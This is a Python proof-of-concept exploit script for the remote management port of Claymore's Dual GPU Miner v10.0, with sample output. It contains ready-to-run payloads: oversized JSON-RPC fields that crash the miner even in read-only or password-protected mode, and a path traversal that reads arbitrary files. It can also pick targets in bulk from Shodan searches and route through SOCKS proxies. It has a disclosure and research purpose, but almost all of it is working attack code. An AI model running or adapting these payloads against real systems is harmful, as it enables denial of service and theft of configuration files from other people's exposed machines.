#!/usr/bin/env python
# -*- coding: UTF-8 -*-
# github.com/tintinweb
#
#
# optional: pip install pysocks (https://pypi.python.org/pypi/PySocks)
#
#
'''
API overview:
# >nc -L -p 3333
{"id":0,"jsonrpc":"2.0","method":"miner_getstat1"}
{"id":0,"jsonrpc":"2.0","method":"miner_file","params":["epools.txt","<encoded>"]}
{"id":0,"jsonrpc":"2.0","method":"miner_getfile","params":["config.txt"]}
{"id":0,"jsonrpc":"2.0","method":"miner_restart"}
{"id":0,"jsonrpc":"2.0","method":"miner_reboot"}
{"id":0,"jsonrpc":"2.0","method":"control_gpu","params":["0", "1"]}
{"id":0,"jsonrpc":"2.0","method":"control_gpu","params":["-1", "0"]}
{"id":0,"jsonrpc":"2.0","method":"control_gpu","params":["0", "2"]}
{"id":0,"jsonrpc":"2.0","method":"miner_file","params":["config.txt","<encoded>"]}
{"id":0,"jsonrpc":"2.0","method":"miner_file","params":["dpools.txt","<encoded>"]}
Exec:
#> EthDcrMiner64.exe -epool http://192.168.0.1:8545 -mport -3333
╔════════════════════════════════════════════════════════════════╗
║ Claymore's Dual ETH + DCR/SC/LBC/PASC GPU Miner v10.0 ║
╚════════════════════════════════════════════════════════════════╝
...
Total cards: 1
ETH - connecting to 192.168.0.1:8545
DUAL MINING MODE ENABLED: ETHEREUM+DECRED
DCR: Stratum - connecting to 'pasc-eu2.nanopool.org' <213.32.29.168> port 15555
ETH: HTTP SOLO mode
Ethereum HTTP requests time (-etht) is set to 200 ms
Watchdog enabled
Remote management (READ-ONLY MODE) is enabled on port 3333
DCR: Stratum - Connected (pasc-eu2.nanopool.org:15555)
DCR: Authorized
DCR: 11/22/17-22:05:12 - New job from pasc-eu2.nanopool.org:15555
... <run poc.py --vector=method <target>>
GPU0 t=57C fan=0%
Remote management: unknown command miner_getstat1 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
.... <crash>
PoC:
#> poc.py 127.0.0.1:3333
[poc.py - <module>() ][ INFO] --start--
[poc.py - <module>() ][ INFO] # Claymore's Dual ETH + DCR/SC/LBC/PASC GPU Miner - Remote Buffer Overwrite
[poc.py - <module>() ][ INFO] # github.com/tintinweb
[poc.py - iter_targets() ][ WARNING] shodan apikey missing! shodan support disabled.
[poc.py - <module>() ][ INFO] [i] Target: 127.0.0.1:3333
[poc.py - <module>() ][ INFO] [+] connected.
[poc.py - <module>() ][ INFO] [+] peer disappeared. vulnerable!
[poc.py - <module>() ][ WARNING] error(10054, 'Eine vorhandene Verbindung wurde vom Remotehost geschlossen')
[poc.py - <module>() ][ INFO] --done--
'''
import logging
import json
import time
import argparse
import socket
try:
import socks
except ImportError:
print "!! cannot import socks. no socks support!"
socks = None
try:
import shodan
except ImportError:
print "!! cannot import shodan. no shodan support!"
shodan = None
LOGGER = logging.getLogger(__name__)
class MinerRpc(object):
"""
Generic MinerRpc class with socks support
"""
def __init__(self):
self.sock = None
def connect(self, host, port, proxy=None, timeout=15):
if socks:
self.sock = socks.socksocket()
else:
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(timeout)
if proxy:
if not socks:
raise Exception("socks support disabled due to unmet dependency. please install pysocks")
self.sock.set_proxy(*proxy)
return self.sock.connect((host, port))
def sendRcv(self, msg, chunksize=4096):
self.sock.sendall(msg)
chunks = []
chunk = None
#time.sleep(2)
while chunk is None or len(chunk)==chunksize:
chunk = self.sock.recv(chunksize)
chunks.append(chunk)
return "".join(chunks)
def sendRcvTimed(self, msg, chunksize=1):
self.sock.sendall(msg)
start = time.time()
resp = self.sock.recv(chunksize)
diff = time.time()-start
return diff, resp
class Utils:
"""
Utility namespace
"""
@staticmethod
def iter_targets(targets, shodan_apikey):
shodan_api = None
if not shodan:
LOGGER.warning(
"[i] starting without shodan support. please pip install shodan to use shodan search strings.")
else:
if not shodan_apikey:
LOGGER.warning("shodan apikey missing! shodan support disabled.")
else:
shodan_api = shodan.Shodan(shodan_apikey)
for target in targets:
if target.startswith("shodan://"):
target = target.replace("shodan://", "")
if shodan_api:
for t in shodan_api.search(target)['matches']:
yield t['ip_str'], t['port']
else:
host,port = target.strip().split(":")
yield host,int(port)
VECTORS = {
# Vector: extrafield
# Description: overly long value for field. overly long overall msg
# Result: crashes always, even though
# * password required
# * readonly mode (-<port>)
"extrafield" : {"id": 1,
"jsonrpc": "2.0",
"lol": "a" * 145000, ##<<--
"method": "miner_getstat1 ", },
# Vector: psw (basically same as extrafield)
# Description: overly long value for psw. overly long overall msg
# Result: crashes always, even though
# * password required
# * readonly mode (-<port>)
"psw" : { "id": 1,
"psw":"d"*145000, ##<<--
"jsonrpc": "2.0",
"method": "miner_getstat1", },
# Vector: method
# Description: overly long value for field. overly long overall msg
# Result: crashes always, even though
# * readonly mode (-<port>)
"method" : {"id": 1,
"jsonrpc": "2.0",
"method": "miner_getstat1 " + "a" * (16384 - 50 - 15 - 5), }, ##<<--
# Vector: traversal
# Description: path traversal
# Result: retrieves any file
"traversal": {"id":0,
"jsonrpc":"2.0",
"method":"miner_getfile",
"params":["../Claymore.s.Dual.Ethereum.Decred_Siacoin_Lbry_Pascal.AMD.NVIDIA.GPU.Miner.v10.0/config.txt"]}, ##<<-- adjust path
}
if __name__ == "__main__":
logging.basicConfig(format='[%(filename)s - %(funcName)20s() ][%(levelname)8s] %(message)s',
loglevel=logging.DEBUG)
LOGGER.setLevel(logging.DEBUG)
usage = """poc.py [options]
example: poc.py [options] <target> [<target>, ...]
options:
apikey ... optional shodan apikey
vector ... method ... overflow in method, requires password if set [readonly]
extrafield ... overflow in non-standard field [readonly, passwd mode]
psw ... overflow in password
traversal ... relative path traversal [authenticated]
target ... IP, FQDN or shodan://<search string>
#> poc.py 1.1.1.1
#> poc.py 1.2.3.4 "shodan://product:eth+result"
"""
parser = argparse.ArgumentParser(usage=usage)
parser.add_argument("-a", "--apikey",
dest="apikey", default=None,
help="shodan.io apikey, NotSet=disabled [default: None]")
parser.add_argument("-m", "--vector",
dest="vector", default="method",
help="vulnerablevectors [default: method]")
parser.add_argument("targets", nargs="+")
options = parser.parse_args()
LOGGER.info("--start--")
LOGGER.info("# Claymore's Dual ETH + DCR/SC/LBC/PASC GPU Miner - Remote Buffer Overwrite")
LOGGER.info("# github.com/tintinweb")
m = MinerRpc()
for ip, port in Utils.iter_targets(options.targets, options.apikey):
LOGGER.info("[i] Target: %s:%s"%(ip, port))
try:
m.connect(ip, port, timeout=20)
LOGGER.info("[+] connected.")
resp = m.sendRcv(json.dumps(VECTORS[options.vector])) # crash with readonly mode
LOGGER.debug("<-- %d %r"%(len(resp), resp))
if not len(resp):
LOGGER.info("[+] did not receive a response. probably vulnerable.")
except socket.error, e:
if e[0]==10054:
LOGGER.info("[+] peer disappeared. vulnerable!")
LOGGER.warning(repr(e))
LOGGER.info("--done--")